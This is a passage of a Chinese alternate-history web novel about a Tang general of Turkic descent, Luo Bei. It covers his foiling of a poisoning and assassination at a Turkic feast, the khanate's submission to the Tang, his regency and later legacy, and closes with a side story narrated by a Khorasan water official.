“不妨以三年为期,三年在金山,三年在于都斤山。”洛北端着金盏笑道,“你我可以往返两地之间,让所有草原的子民都参与进来。” 毗伽可汗颔首,他正要张口说什么,已有一群突厥贵胄捧着酒壶向这边走来——他们是来敬酒的。 首当其冲的就是坐在下首的阙特勤。 阙特勤已经拿起空杯站起了身,洛北却侧过身子挡在他面前:“突利设(突厥语‘左贤王’)大病初愈,不便饮酒,他这杯我代他喝吧。” 为首的是侍奉过阿史那骨笃禄的老臣梅录啜。他听闻此句,苍老的脸上迸出喜色,讲话也有点结巴:“这……这……伟大的乌特特勤……” 阙特勤拍了拍洛北,同为草原牙帐里长大的子弟,他们都知道,一旦开了这个头,今天洛北就只有被架出牙帐一条路:“我来喝吧,没事的。” “不。”洛北回望他一眼,依旧不肯相让,只固执地站在那里。 梅录啜自然不可能拒绝这个提议,他脸上洋溢着谄媚的笑容,微微将鎏金酒壶中的美酒倒到洛北杯中:“敬天所择的明主。” 洛北神情平静,两人酒杯相撞时,他忽而出手,用左手扣住梅录啜的手腕,用力一拧,琥珀色的酒液泼在草地上,瞬间腐蚀出焦黑的痕迹。 “你们就是这样侍奉自己的突利设,自己的大汗的?”他沉声问道。 牙帐内骤然陷入一片沸腾,贵胄与侍从们下意识地惊呼逃窜。 在一片混乱之中,梅录啜没有动。只有火把的光影在他的脸上留下了一点扭曲的影子。他突然暴起,取出藏在靴筒里的短刀直刺毗伽可汗心口。 洛北反身一背,以手肘击向他的手腕,短刀坠地的瞬间,阙特勤的刀刃已经架在了叛徒的颈间。 “你们要毁掉骨笃禄的基业!你们要毁掉突厥汗国!”梅录啜嘶哑着喊出自己的话,“老可汗的魂灵一定在天上唾弃你们……” 他的话还未说完,阙特勤手中的刀锋陡然压下,血色喷涌,染红了他的衣衫。 “草原上的君主来了又走,就连民族都会不断变换,但中原始终在那里。”洛北低头捡起梅录啜掉在地上的短刀,双手交给毗伽可汗,“我们现在在同一个国家之内,就必须要学会如何和中原人和睦相处,否则我们将无法度过下一个千年。” 他有些疲惫地揉了揉鼻梁,转身要去和毗伽可汗告假。但毗伽可汗只是望着他,任凭猛烈的大风穿过牙帐,吹得他的袍服翻卷,飘飘似仙。 “来人,把这个叛徒的尸首丢到山中喂狼!”毗伽可汗断然下令。 洛北开口:“可汗殿下” “乌特,你刚刚说的是真的吗?”毗伽可汗望向他,“你征服了整个天下,却不想要一顶王冠?” 洛北哑然失笑:“我只是为大唐平定四方,称不上打天下,再说,功名利禄,并非我生平所愿。我想要的,自始至终只有一条——” “和平。” 阙特勤看着他的模样,竟与记忆中的一个夜晚重叠在一起。那是在他们远征河中之前,他曾与洛北在草原上做过一番长谈。 那时候的洛北也是这么说的,他要的是和平,要的是各族子弟都能友善相处,安居乐业,像石榴籽一样抱在一起。 “等到时间足够久远,就像曾经的赵人韩人变为汉人,鲜卑人于大地消失,我们,我们所有人也终究会变成唐人……” 那时他自己是怎么评价的来着? “你想成为下一个天可汗。” 牙帐内到处是血腥气,已经不适合继续宴饮。众人一道步出牙帐,来到草原上。部族儿女的欢歌笑语响彻云霄。毗伽可汗与阙特勤各自交换了一个眼神,似乎做出来一个分外重大的决定。 第二日的清晨,突厥汗国的部族首领与长老们再度聚集在圣坛之下。他们侧耳聆听完毗伽可汗对于犯上作乱的梅录啜一族的处置——和往常不一样的是,他这次没有将成年男性全部杀光,只把他们放逐到呼罗珊前线去。 洛北对这个决议不置可否,但当他看到部族首领们同聚一堂时,又意识到这个决议并非它表面上看起来那么简单。 人群如潮水般分开。阙特勤在众人簇拥之下捧着白狼大纛向他走来,这是传闻中的汗国创始者伊利可汗留下的遗物,象征着整个草原至高无上的权威: “收下它吧。” 他对自己的挚友,自己的同族兄弟道: “作为大唐的郡王,作为草原的孩子。” 日光照亮了洛北金棕色的眼眸。他望着跪满草场的族人,忽然想起十五年前逃离时在蒲昌海所见的那轮明月。 “日月所照,皆为王臣——” “万王之王,天可汗——” 远处传来苍凉的颂歌声,山间融化的雪水正潺潺流过草场,将凝固的血迹冲入孕育春草的沃土。 洛北闭上眼,轻轻地呼了口气,才上前一步,接过阙特勤手中的白狼大纛,他向着一众部族百姓挥舞大纛: “我向诸位许诺,自今日始,东西商路畅通无阻,南北牧场共享太平。凡马蹄踏处,皆为大唐疆域。” “洛卿啊……” 洛北回到朝中时已是六月下旬,长安城的闷热天气压得宫廷内外人人满头是汗。他回到长安的衙署里才知道,皇帝李重俊又以重病为由,起驾去终南山的行宫修养了。无奈只得再度调转马头,向终南山行去。 “阿兄要小心。”褚沅替他整理衣襟的时候,脸上带着犹疑神色,“陛下好像还在气头上。” 可等洛北自己见到皇帝时,却很难从他那闲散的状态里咂摸出什么愤怒来。 李重俊穿着丝制的长衫,靠在一间临水的台阁里,四周是扇着扇子的宫女,角落里各放着一盆冰块。 洛北恭敬地行礼,还没来得及抬头,就听到皇帝这一声如同叹息的称呼。 “朕躲到终南山之前,朝中就打了一个月的嘴仗。你孤身招抚突厥归附,使我大唐北疆安宁,是不世之功。可你僭称天可汗,又是大罪一件……” 李重俊俯身过来,衣袍在竹质的席子上划过,发出轻微的声响。他伸手抬起洛北的下颌,强迫他与自己对视:“你要朕拿你怎么办?” 洛北便平静地望着他的眼睛:“微臣听凭陛下处置。” “又来了!你知道朕不会杀你!” 李重俊没得到预料中的反应,陡然松手,又重新坐回了自己的位置上: “当年高宗不听裴行俭之言,为了朝堂之争杀死阿史那伏念等人,肇使东突厥遗民叛乱不断,北方边祸绵延百年,你好不容易才给朕挣回来了这个安宁边境的机会。朕不会,也不能让北方再起乱子!” 洛北的脊背立得笔直:“那请陛下罢去微臣的官职。” “胡扯!”李重俊抓起案上的奏疏一股脑丢到他面前的地上,“长安对你来说到底是什么龙潭虎穴,你非要逃开不可吗?” 第280章 “朕的希望是,朕以国士待洛卿。全始全终。” 皇帝这突如其来的怒气冲得洛北全然摸不着头脑, 他跪在那里,脸上写满了无所适从。 李重俊难得见他踌躇,忍不住哈哈大笑起来, 声音大到惊起了几只在水榭旁休息的白鹭: “洛卿, 这样的奏疏朕天天都能收到,要堆起来能堆好几个桌子。朕都力排众议,和他们顶着干,从来没有想过要撂挑子。结果你一回来,先是要我杀你, 现在又要辞官——我在你眼中是什么样的昏君?不要拿‘国无道则身退以避之’那套来待我!” 他说到最后,显然露了几分真情,连“朕”这个自称都忘了说。 洛北见他语意轻松, 试探性地问道:“想来此事朝中已有公论?” “朝中引发议论的第二日,褚夫人就与礼部一道澄清了此事。”李重俊将一本奏疏递给他:“突厥人给你上的尊号分明是‘登利可汗’,是那些闹事的人误译成了给太宗皇帝的尊号, 其心可诛。” 褚沅是鸿胪寺少卿, 执掌邦交,自然有权威解释此事。但洛北知道,这是他的妹妹利用手中权柄玩了个小小的文字游戏: “登利”翻为汉文就是“天”,所谓的“登利可汗”, 也就是“天可汗”。虽说草原上汗号素来喜欢这些阔大的字眼,什么“处罗(荣耀)”、“毗伽(智慧)”。 但并不是任何一位“天可汗”都当得起颂歌里的“万王之王”的称号的。 好在此事发生时长安朝堂没有人亲临现场, 洛北也就把此事轻轻遮掩过去:“微臣谢主隆恩,但微臣违反国家法度,私受汗号, 理应获罪。请陛下勿要偏私。” “既然你这样说了,那就按照你的意思办吧。”李重俊开口把水榭外的紫薇女史召了进来: “碛西郡王洛北, 私受汗号,本当严惩。然念其安定北疆之功,着削食邑三百户,罚俸一年。” 那年轻的女官听了这连“象征性”都算不上的惩罚,执笔的手在空中顿了顿,朱砂墨顺着笔尖滴落在素绢上,洇开一朵刺目的红。她慌忙要取新绢,却被李重俊抬手止住。 “就这样写。”皇帝的眼角掠过一丝狡黠,“再补一句:赐金鱼袋,命其都督中外军事,准其上朝不趋,赞拜不名。” 女史抬起头来:“陛下,这” “洛卿有招抚突厥之功,使得我大唐百年边患烟消云散,难道不该奖赏吗?”李重俊问,“而且,边将除却边功之外,还要招抚部族、安定百姓——这可是姚相公和宋相公都一致同意的条款。” 那女官辩不过他,只得埋头写起来。洛北有意为她解围,开口问道:“陛下,突厥使团不日亦将抵达长安,不知道陛下打算作何决议?” “朕打算依照贞观年间的旧制予以封赏,封毗伽可汗为北平郡王,左贤王为云中郡王,左右分治,至于那些剩下的封赏……你让褚沅和礼部那些人商议吧。” 李重俊顺着他的思路说完话,又像是反应过来什么似的:“朕已经交由姚相公监国,公事你去问他!你刚从草原回来,就不能和朕说点别的事情,比如草原风物,比如你是如何救下了你那位挚友兼兄弟的吗?” 洛北的睫毛在眼下投出细碎的阴影,似乎在思考要说哪件事情,可还没等他开口,女史已经拿着写好的诏书递给了李重俊:“请陛下圣览。” 李重俊撇了撇嘴,只得再度老老实实地办起公事,等到一篇引经据典的诏书看完,他连听故事都失了兴致,自顾自长长地打了个哈欠: “朕要留在终南山上,等着这个炎热的夏季过去,再回长安,其余诸事,你同宰相和太平姑妈商议着做主吧。” 洛北得令,躬身和紫薇女史一道退出水榭之外。李重俊却又长长地唤了他一声: “洛卿——” 等到洛北重新走进水榭中,这位年轻的君主理了理衣袍,正襟危坐在他对面: “你觉得日后史书上,会如何评价你我这对君臣?” 洛北望着皇帝,沉默不答。 “朕的希望是,朕以国士待洛卿。”李重俊抓过他的手,将手边的金鱼袋递到他的手上:“全始全终。” 数日之后,突厥毗伽可汗阿史那默矩与左贤王阿史那阙率众来朝,意欲归附大唐。李重俊再立大单于都护府,以默矩一脉为幽州郡王,又以阙特勤一脉为云中郡王,分治东西。 又以阙特勤犹在病中,赐其留京修养,并赐其右骁卫大将军官职,命其留京宿卫。 自此,困扰大唐边境百余年的北部强敌突厥汗国烟消云散,大唐得以从北方抽身而退,专心致志地经营帝国西陲的棋局。 月余之后,金城公主到达逻些城与吐蕃赞普完婚。这位年轻的唐家公主与留任逻些城的“顾问大臣”萧嵩很快就摸清楚了逻些的规则,拿到了踏上吐蕃政坛的入场券。 这一年冬日,皇帝李重俊与世长辞,留下了七岁的太子,他在遗诏中赦免自唐隆宫变以来受谋逆罪牵连的诸多大臣族亲,并命大宗正太平镇国大长公主、碛西郡王洛北和宰相共同辅政。 遗诏中还加了一条:“许碛西郡王洛北永镇碛西,太子年满十五后方可回归。” 国丧刚过,天地之间又被飞雪染成一片白色。洛北从马上跳下来,走近牢房门前。 那里只有一个狱卒,正在寒风中搓手取暖,见了他的令牌和文书也不肯放人: “顾命辅政的碛西郡王是何等人物,他怎么会到这里来?有怎么会孤身一人?你一定是在骗我!” “我何必假冒这些。”洛北无奈笑道,“你若不信,把你的上司叫来见我!” “那也不行,为了你这个假冒碛西郡王的疯子,去打扰他老人家……哎!” 阙特勤不知何时出现在洛北身侧,抬脚踹了那不知死活的狱卒一下——这分寸拿捏得正好,恰好能让他在地上滑一跤,又不至于伤筋动骨: “喂,看清楚,文书上可有三司的印章,要是这也看不懂……我只能请你对我的刀说话了。” 狱卒爬起来,猛然抹了一把沾满雪花的脸:“你,你是……” “云中郡王阿史那阙。”阙特勤冷声道。 狱卒在他的眼眉上打量数下,这才反应过来:“是,是,是小的有眼不识泰山!请两位郡王稍等,我这就……等一下,两位郡王没事来这大牢里做什么?” “找人。”洛北听得有些不耐烦,干脆越过他向那窄长的过道中走去。 牢狱两边都羁押着不少犯人,有的大吵大闹,哭号哀求着冤枉,有的已经放弃挣扎,躺在草席上,等待着最后时刻的到来。 他们越往里进,牢房中的气息就越发幽冷。阙特勤皱了皱眉,替洛北加了件貂裘外袍。 洛北瞥了他一眼:“病得起不来身的又不是我,你大可……” “明日王训当值回来,还有褚夫人。”洛北身边的亲卫皆被委以宫廷禁军或地方将领的职责,纷纷离开他的身边,闲居在长安,又素来和他待在一道的阙特勤反倒更像是他的亲卫,“你要不想加衣服也行,我可以和他们俩……” 洛北横了他一眼,那意思显然是“你也会玩这招了?” 但他到底没有推却阙特勤的好意,来到了内间的牢房里。 与其说是牢房,这里更像一间幽僻的书房,此间主人正埋头在书案上演算,连一个眼神都欠奉:“饭放那边就行。” “我不是来送饭的。”洛北轻声道。 裴耀卿手中的笔一怔,而后不可置信地抬起头来:“洛将军……” “是。”洛北颔首,“陛下去世,太子继位,诏命我与宰相、太平公主同朝辅政。” 裴耀卿苦笑一声:“这样,那将军此来,是要杀我吗?” 他曾在青海前线对主帅下毒,这样的深仇大恨,任凭任何一个人也不可能饶恕。 “不是。”洛北回答得极快,“姚相公想要整饬漕运,需要一个合适的人选为其前驱,我向他举荐了你。” 裴耀卿手中的狼毫“啪嗒”落在宣纸上,墨迹在纸张洇开一朵残梅。他下意识去扶案几,指尖触到冰凉的镣铐铁链才惊觉自己仍身在囹圄之中: “洛将军向姚相公举荐了我?!” 牢房外的雪光透过高窗斜斜切进来,将洛北貂裘上的银线云纹映得忽明忽暗:“不错,所以他劝我亲自来请你。” 他和姚崇素有旧怨,又出身不同,在朝政上的判断十里有□□不太一致,一项决议能同时在他俩手下通过,必是数易其稿,十分成熟才行。 但偏偏他们又同为狄公弟子,思想都受了狄公影响,面对涉及灭蝗、救灾、漕运这样有关百姓民生的问题之时,又总是不谋而合。 裴耀卿扑通跪倒在地时,膝盖撞翻了盛满墨汁的砚台。墨汁飞溅沾染到了他的衣袍上,但他已经不在意了: “罪臣……”他额头重重磕在染墨的地砖上,“愿为大唐,为郡王肝脑涂地,在所不辞!” 他们离开牢房时已是三人同行。那狱卒摸了摸后脑勺,怎么也没想明白这被羁押了一年之久的罪臣,但他也没心情去想这些——雪又下起来了,他只想快点交班,好去酒肆里暖暖身子。 【全文完结】 第281章 后世的历史学家把这样的评价送给洛北治下的年代—— 八年之后, 长安春日。 又到了繁花盛开,百草繁茂的春日时节,曲江边游人如织, 正是一派盛世繁华的景象。临近开远门的酒肆中, 一个少年人正与众人拼酒。 他显然出身富贵,身着裘衣,旁立宝马,喝得兴起时,连连豪饮三大碗, 酒液洒在衣襟上也浑然不觉。同行的友人上前劝他少饮酒,反倒引来了他的诗兴: “君不见黄河之水天上来,奔流到海不复回。 君不见高堂明镜悲白发, 朝如青丝暮成雪。 人生得意须尽欢,莫使金樽空对月。 天生我材必有用,千金散尽还复来。 烹羊宰牛且为乐, 会须一饮三百杯。 岑夫子, 丹丘生,将进酒,杯莫停。 与君歌一曲,请君为我倾耳听。 钟鼓馔玉不足贵, 但愿长醉不复醒。 古来圣贤皆寂寞,惟有饮者留其名。 陈王昔时宴平乐, 斗酒十千恣欢谑。 主人何为言少钱,径须沽取对君酌。 五花马、千金裘,呼儿将出换美酒, 与尔同销万古愁!” “店家。”离他的桌子不远,几个作旅客打扮的男子显然也为这声音吸引了过去。其中一位文质彬彬的笑着问:“这是哪位才子?” 那小二本不想答话, 但最左边那个胡人打扮的男子已从怀里掏出了一片金叶子——这金叶子亮闪闪的,勾着他的心魄,叫他不得不开口: “他呀,叫李白,表字太白,据说是碎叶商贾之后,自小在四川长大,这些日子到长安来博功名。” “若是王翰二十岁的时候见到此人,必要引为知己。” 在他们中间的那位气度高华的客人开口道: “可惜他最近日渐醉心实学,对这等豪侠做派有些敬而远之。” “喂,阁下是什么人。”李白听到他们在议论自己,还提到“王翰”的大名,当即丢下朋友,朝这边走了过来。他走路虽然有些歪斜,一双眼睛却清明澄澈:“怎么敢这样直呼弘文馆馆主的大名?” 那中间的客人轻轻笑了,一双金棕色的眼眸望了过来。 只是这一望,好像有什么不知名的力道托着李白的身体,他一下子垂手直立,谦卑得像是在听老师训话的学生。 “我叫洛北。”客人温声道:“也有些人叫我阿史那乌特——乌特二字,在突厥语里的意思也有‘金星’之意,与你的‘太白’二字相同。今日相见,也算缘份,不过,我就要离开长安了。” 洛北——李白只觉得这名字耳熟,等他想起来时,不由得浑身打了个激灵,再看过去时,那桌子连同周边的几桌都已是空空荡荡。 他去问店家,店家只顾着擦桌子,有一搭没一搭地和他交谈: “哦,那桌的客人啊,早走了,他们好像急着赶到金山去。那可是在北庭啊,好远的一段路。对了,他们有个信封,叫我给你。” 店家从怀里摸出那张信封,递给李白。李白拆开一看,只见里面是几片金叶子——足以应付他在长安生活的金叶子。 但他没有店家想象中的高兴,反倒垂头丧气地回了桌边,喝到口中的酒都不那么甘美了。 那可是洛北,先帝的托孤重臣,爵封碛西郡王,官拜骠骑大将军、碛西镇守使、兵部尚书、上柱国、都督中外军事、开府仪同三司、入殿不趋,赞拜不名的洛北啊! 若能得到他的青眼,仕途无可限量,又岂是这区区几片金叶子可以比拟的? 不管李白心情如何,这日正午之前,洛北与阙特勤、张孝嵩已到了渭水之滨的长桥前,洛北率先勒马: “孝嵩,送君千里终须别。你如今已是尚书左仆射,不可离开长安太久,早点回去吧。” 姚崇在一年之前因积劳成疾离世,接任他职务的是时任侍中的宋璟,继任中书令的却是苏颋,张孝嵩、岑羲分别官拜尚书左右仆射,成为朝中举重若轻的人物。此外,张说、萧嵩、张九龄、郭知运等人皆入朝参知政事。 “八年一过,你还是政事堂里最年轻的宰相。”张孝嵩笑道:“就这样离开长安,不觉得可惜吗?” “孝嵩也来玩笑我了。”洛北也笑了,“这些年弹劾我擅权的奏疏足够装满几个库房,我再不急流勇退,只怕日后也会落到长孙家、褚家那样的下场。再说富贵非我愿,帝乡不可期,碛西才是我的家乡。” 他这样说着,心中却不由得想起七年前离开长安的褚沅。也是相同的春日吧,他在此地送别褚沅—— 她即将赴任碛西郡王府长史,调换在西域坐镇经年的裴伷先回到长安的户部任职。 那时他的妹妹眉眼含笑:“李唐能坐镇长安,号令天下,盖因有心腹之关陇。而阿兄执政长安,则是需要碛西。” “我愿为阿兄坐镇碛西,以保江山安定,百姓安康。” 洛北飞舞的思绪终结于飞驰而来的马蹄声,有份兵部的急递赶在他卸任的最后一刻送到了手边。 这是一封镇守幽州的守将张守珪写来的书信,信中要求他饶过两个小贼的性命。 “安禄山、史思明?听起来像是粟特人的后裔。”洛北读完信件,略微皱眉:“这样的事情,知运自己处理就是了,何必来问我,难道是因为刚刚上任,不敢动刀兵?” 阙特勤在一边抱臂道:“幽州,那岂不是离我兄的镇所不远?要不我写信托我兄帮忙?” 洛北摇了摇头,伸手从亲卫里召来一个少年: “李光弼,你带着我的印信去一趟幽州,告诉张守珪,军令如山,不可违背,他要是连执法的勇气都没有,趁早从那个位置上滚下来。” 他解下腰间的金鱼袋连同书信一起交给他, “记住,务必看到那两个小贼的尸首再回长安。” 那名叫李光弼的少年先是一怔,骤然又抱拳称是——他们这批亲卫,是阙特勤在长安替洛北招揽的。虽然未曾受过碎叶文馆的教导,但却因缘际会,得到了洛北、褚沅、张孝嵩、阙特勤等人的亲自教导:论手段,论武艺,都不在旁人之下。 可无奈的是天下太平,他们得不到亲往战场历练,扬名立万的机会。 如今,这个曾经梦寐以求的机会就在他的眼前。 张孝嵩望着这少年打马远去,笑笑地评价:“他是契丹酋长李楷洛之子吧?派他去幽州,也是亏得你想得出来。” “这样哪怕张守珪打算狗急跳墙,也得掂量三分。”洛北道。 阙特勤和张孝嵩对视一眼,同时哈哈大笑起来: “狗急跳墙,洛将军你真是对自己的名望毫无自知之明啊。” 正如他们所料,月余之后,已在金山的洛北果然收到了李光弼自幽州写来的书信,信中言明,他持洛北的印信到幽州,开口斥责了张守珪一通。张守珪不敢迟疑,当天就下令处决了这两个粟特小贼。 与这封书信一同到达金山的,还有一封皇帝李宗晖的亲笔信。少年君主像给老师交功课那般条条陈列了自己的种种政策,只在文末写了几句:“朕已经可以拉开八石弓了,洛卿什么时候能来看呢?”之类的话。 “乌特。”“阿兄。” 他还在看信,帐外已有人来唤他。他挑帘看去,阙特勤与褚沅一左一右,都已换上了节庆的盛装在草原上等他。 他笑了,把这些书信丢在一旁,决定去重启那八年未开的金山大会了。 后世的历史学家把这样的评价送给洛北治下的年代: “国力兴旺,天下太平,万国来朝,政治清明,社会稳定,经济发展,有贞观之风。” 数十年之后,当洛北病逝于碎叶城时,在长安的皇帝李宗晖为他辍朝三日,并追赠他为太尉,画图形于凌烟阁,配享太庙。 至于他本人,亦被作为自伊尹、周公之后一位辅政而不贪权的重臣典范,为历朝历代所铭记与称颂。 不过,当人们用世界史的维度来评价他的时候,这个大唐臣子的身份就不足以形容他的功绩了,史学家们会再度采用起那个自太宗皇帝李世民去世之后,已经多年不用的称号:万王之王——“天可汗”。 人们广泛地认为,他以自己的血统和能力重建了自太宗去世之后岌岌可危的“天可汗制度”,并让这一制度在他手中发挥出了更大的影响力。 他荡平了觊觎西域的突骑施汗国,以战争和谈判收服了重新崛起的突厥汗国,打断了吐蕃的崛起之路,把它按回了大唐藩属的位置上。他收复了波斯的疆域,重建了波斯都督府,并借用月氏都督府彻底掌握了大陆中心。 因此,他能够掌握整条贸易繁忙的丝绸之路,还借此支持了阿拔斯王朝的崛起—— 他拯救了时代,重新凝聚了大唐王朝,重建了丝绸之路,并为大唐西域和丝绸之路带来了永恒的和平,他的丰功伟绩无可匹敌,甚至改写了世界史: 从他那时起,直到后来的许多年间,自拂菻到长安的道路畅通无阻,即使是妇女们也可通行。 无数的知识、文化、货品在这条道路上流通,无数的人员在这条道路上穿梭,东西方交流空前频繁,为两边都带来了数不尽的影响。 直到今天,他在那里还被称为一个天命所归的人物,一位神明的化身或者得到神启的先知。他的形象出现在寺庙的祭坛和壁画之上,与神明一道永享祭祀。 (正文完) 第282章 “我”是一名普普通通水利官,真名无足挂齿。 01 我见到大名鼎鼎的洛将军时, 是常宁二十三年的秋日。 像我这样出生在呼罗珊的人,几乎是听着他的赫赫威名长大的。木鹿城的星象家们称他为天命所定的群星之主,商人们把他的姓名当作护身符走上漫长的丝路, 农民们对着他的雕像祈祷丰收……还有那些牧民们——他们把他的功业编成歌谣, 随着篝火和牛羊向四方传唱。 那时他的亲卫队长已经换成了并波悉林,我的呼罗珊同乡。 这小子的父母都曾是大食人的波斯奴隶,直到我们的军队进入木鹿城之后,那位伟大的洛将军下令以私财赎买这些奴隶归乡——他的父母因此得到了木鹿城郊野的一片小小果园。 小时候我们常在果园里穿梭打闹,兴致冲冲地把一身衣服都弄脏。现在他穿上了素色的圆领袍, 腰间蹀躞带上系着威风凛凛的唐刀。 他瞪过眼来的时候很有几分军人的样子,但我们眼神一碰,他就破了功: “怎么是你!你怎么在这里!” “就许你以武艺被派去长安学习, 不许我以头脑晋身吗?”我得意洋洋地给他扬了扬手中的文稿,“我来给郡王汇报呼罗珊水利的规划。” 并波悉林冷笑了一下,我知道他是有些嫌弃我那得意洋洋的模样。但当我们穿梭在郡王府的门廊之中, 遇到他的那些同僚和伙伴时, 他又骄傲地挺起了胸膛: “这是我呼罗珊的同乡!来给郡王汇报呼罗珊的水利规划。” 我看着他,心想: 洛将军的亲卫队中人才辈出,无数人后来都成了威风凛凛的大将军。 他的第一任亲卫队长阿拔思官拜北庭大都护,爵封国公。郭知运入朝拜相, 成为兵部尚书,同中书门下平章事。巴彦做了大单于都护府长史, 守护新内附的突厥部族……封公封侯的更是数不胜数。 他的第二任亲卫队长王训接任了他碛西镇守使的职务,骨力裴罗如今坐镇凉州,第三任亲卫队长李嗣业是镇守吐火罗的大月氏都督, 素以武艺高强著称,能以一人挡住骑兵, 就连如今在幽州冉冉升起的大将李光弼,也是出自他的亲卫队中…… 可是啊,且不说天下太平日久未有战事,我的这个同乡,真能和这些将军们并肩吗? 我有些怀疑。 02 我们转过第三个垂花门时,一道青金石铺就的甬道出现在我们面前。越往里走,里面越幽静。 比起他波澜壮阔的战争经历,或是他捭阖纵横的政治能力,洛将军的个人生活几可称得上乏善可陈。 出发碎叶城之前我特意问了我上司的上司,坐镇木鹿城的波斯都督波善活,要不要给洛将军带些礼物以示我们的诚意。结果我们这位据说也在洛将军亲卫中打过滚的都督思忖好久,愣是没想起来洛将军喜欢什么。 “实在不行,就带点金银珠宝吧。”我兴致勃勃地提议,“前些日子有人送来一批极好看的绿松石,就算他不要,送点给他的姬妾们也行啊。” 波善活看了我一眼,接着哈哈大笑:“伯克身边并无姬妾,要说他府里真的有什么大权在握的女子么那就只有褚夫人了。” 我看着波善活的笑脸,顿时觉得脑壳疼了起来。他说的“褚夫人”是指碎叶刺史兼碛西郡王府长史褚沅,爵封虞国夫人——她受洛将军信重,可以全权处理碛西一切军政要务。 很不幸,我手上这份规划,就是在她手里过了十八稿才通过的。 我到今天还记得第一次去找她当面汇报时的场景,她坐在书房里,我和一干负责政务的伙伴站在门外,她手中看着别人的文稿,头也不抬,耳朵里却仔仔细细地听着我们的每一个数字,我前面的那个倒霉蛋负责汇报今年伊州的收入,不小心报错了一个数,被她随口就纠正了过来。吓得我们后面一群人齐刷刷地翻稿子,生怕自己也读错。 “实在不行,就送些好马刀剑一类的吧。”波善活想了想,“他好像也就喜欢出门跑马、射箭、打猎这些,毕竟是将军出身。” 我无奈地看着我这位不太靠谱的上级的上级,好像天底下就他一个人聪明似的:“大食人的汗血马、吐谷浑人的青海骢、突厥人的突厥马这些骏马只怕要在碎叶城外的屯马场里堆成山,至于兵刃,咱们也比不过碎叶兵器监的发明吧?” 波善活和我大眼瞪小眼了片刻:“你说得有理,可是,总不能空着手去吧?” 最后的最后,我是带着规划的图纸、木鹿城的陶器和地毯去的碎叶城。 结果东西还没到洛将军手里,就给并波悉林拦下来了:“礼单拿过来就行了,将军恐怕没有时间看你这些东西。” 我有点不明白他的意思,难道到了洛将军的位置上,还要像我一样四处奔忙吗? “将军有将军的事务要处理,碛西如今有数十万儿女,件件事务都压在他的肩上。” 并波悉林叹了口气,和我说起他刚到郡王府中的一件事情。 那时有件突发的事情报到郡王府里,到他手中是已是半夜,他自以为可以天亮再说,结果洛将军已从他手中拿过了那份文件。 “处理完再睡。”洛将军笑着对他说,“不差这一件。” 听得我心有戚戚。 “可是,”我反驳道,“若是把弦绷得这么紧,迟早有一天会绷断的。” 并波悉林皱皱眉,告诉我:“当然也不是。洛将军和褚夫人,以及碛西的那些执政者们自然都有休息的时候。” “不过对我们来说,最高兴的还是要数云中郡王阿史那阙到来的时候。” 03 云中郡王阿史那阙,在碛西他更为所知的称呼是阙特勤,他与洛将军同出突厥阿史那氏,是赫赫有名,并称一时的将星,并肩闯荡过河中的风沙与吐蕃的风雪。 因此他经常在壁画和雕塑里出现在洛将军身侧。 大部分时候阙特勤都在云中的草原上照看他的部族子民,但他会经常往来碛西与大单于都护府之间,与洛将军协商部族事项。 并波悉林曾经问过这位突厥第一勇士,为什么心甘情愿地成为大唐的臣属,成为洛将军的辅弼。 那位突厥将军英武的脸上露出笑意,似乎他这个问题很愚蠢: “因为乌特是个比我好得多的领袖。也因为草原在他的治下远比任何一位可汗治下要繁荣。” 阙特勤所说的是对的,自突厥归附以来,那里的部族过上了碛西部族的生活,过着放牧射猎的平静日子。 洛将军派人给他们修建冬日居住的房屋,教他们如何治疗畜牧的疾病,定期考校他们的儿女,资助他们进入文馆学习……战火远离了草原,取而代之的是神山下的较量。 他们每逢夏季都要随同洛将军一道拜山,有时在金山,有时在于都斤山——数十支部族混在一道,靠技艺和比试来决高下。 那些曾追随洛将军的部族领袖们也会汇集一堂: 西平郡王慕容曦光和毕国公哥舒亶的部族儿女们会从青海千里迢迢地赶来。 胡禄屋的莫潘和琪琪格每一年都会带着一年多过一年的参赛选手赶到。 还有处月部,朱邪烈故去之后,其子朱邪辅国继承了其父遗志,为大唐牧守边疆。他麾下的儿女总能在射术比赛里名列前茅。 我曾经听过波斯都督府那些部族的青年男女兴致勃勃地描绘过场景,获胜者有权从洛将军手中接过奖赏,在他们的描述中,仅这一项,就胜过许多荣耀。 “等你在他身边待久了也会明白的,只是……”阙特勤笑着拍了拍并波悉林的肩。 “只是什么?” “只是我有时会想起那个在草原上与我赛马射猎的少年人,”阙特勤歪了歪脑袋,似乎不知道是否应该把这句话告诉并波悉林,“成为神明一样的大唐郡王,是否会让他开心呢?” 并波悉林默然不答,他、我和大部分人一样,从未想象洛将军少年时代的生活,他是十七岁就步入朝堂,不到弱冠之间就领军征战的人物,是坐镇碛西三十余年的神明。 不过这不影响他们因为阙特勤的到来开心,无论洛将军再怎么忙碌,当阙特勤出现在他的窗前,笑吟吟地喊他“乌特”的时候,他总会停止公务,抬头望向这位挚友: “怎么了?” 04 并波悉林问过当值的亲卫,确认洛将军此刻正在书房中处理公务,便带着我往那边走去。 穿过雕花门廊的时候,我的手心甚至在不停地出汗,并波悉林看出了我的窘迫,安慰我道: “没事,你若见过洛将军就会知道,他比大部分人的想象要温和得多。” 我推开书房门时,秋阳正斜斜穿过雕花窗棂。案前执笔之人披着满肩碎金抬起头来,我听见自己喉间发出一声短促的抽气——不是想象中须发戟张的武夫模样,这位威震西域三十载的郡王竟有一张英俊到让壁画、雕塑和图册都黯然失色的面容。 “你就是木鹿城的水利官?沅儿同我提起过你。” 他声线沉在熏炉袅袅的檀香里,惊得我猛然回神。并波悉林撞了下我的胳膊,我方惊觉要行礼,却见案后之人已搁了笔。 他起身向我走来:“图纸给我。” 我下意识地低头,把图纸双手递了过去,接过图纸的这双手骨节分明,虎口和手指数处覆着层薄茧——这是他早年间征战沙场留下的痕迹。 “有个问题。”他看了一会儿,示意我随他一道移步侧面的屋子,那里摆着一副巨大的沙盘,有一处河流处插着面朱砂小旗,“这里,你实地去过吗?” 我顺着他的目光一看,正是我上个月勘察过的河段。我连连点头:“是,是,今年夏天下了几场雨,河堤冲垮了半段,我们,我们已经在赶工了。” 我磕磕巴巴地说完,冷汗已经把整个脊背都浸湿了。可还没等我跪下请罪,他已从案头抽出一卷文书:“你去找毕姮姬,请她以牡丹钱庄名义贷些钱给你们,今年冬天早,务必在凌汛之前修完。” “是。”我低头答应,并波悉林正要拽着我退出书房,院外忽有骏马嘶鸣破空而来。 几乎同时,我看见他颈侧肌肉骤然绷紧,金色的眼眸倏地凌厉起来。 那种山岳将倾的压迫感让我踉跄着后退半步,下一刻使者已经冲入房门: “郡王,长安的信!” 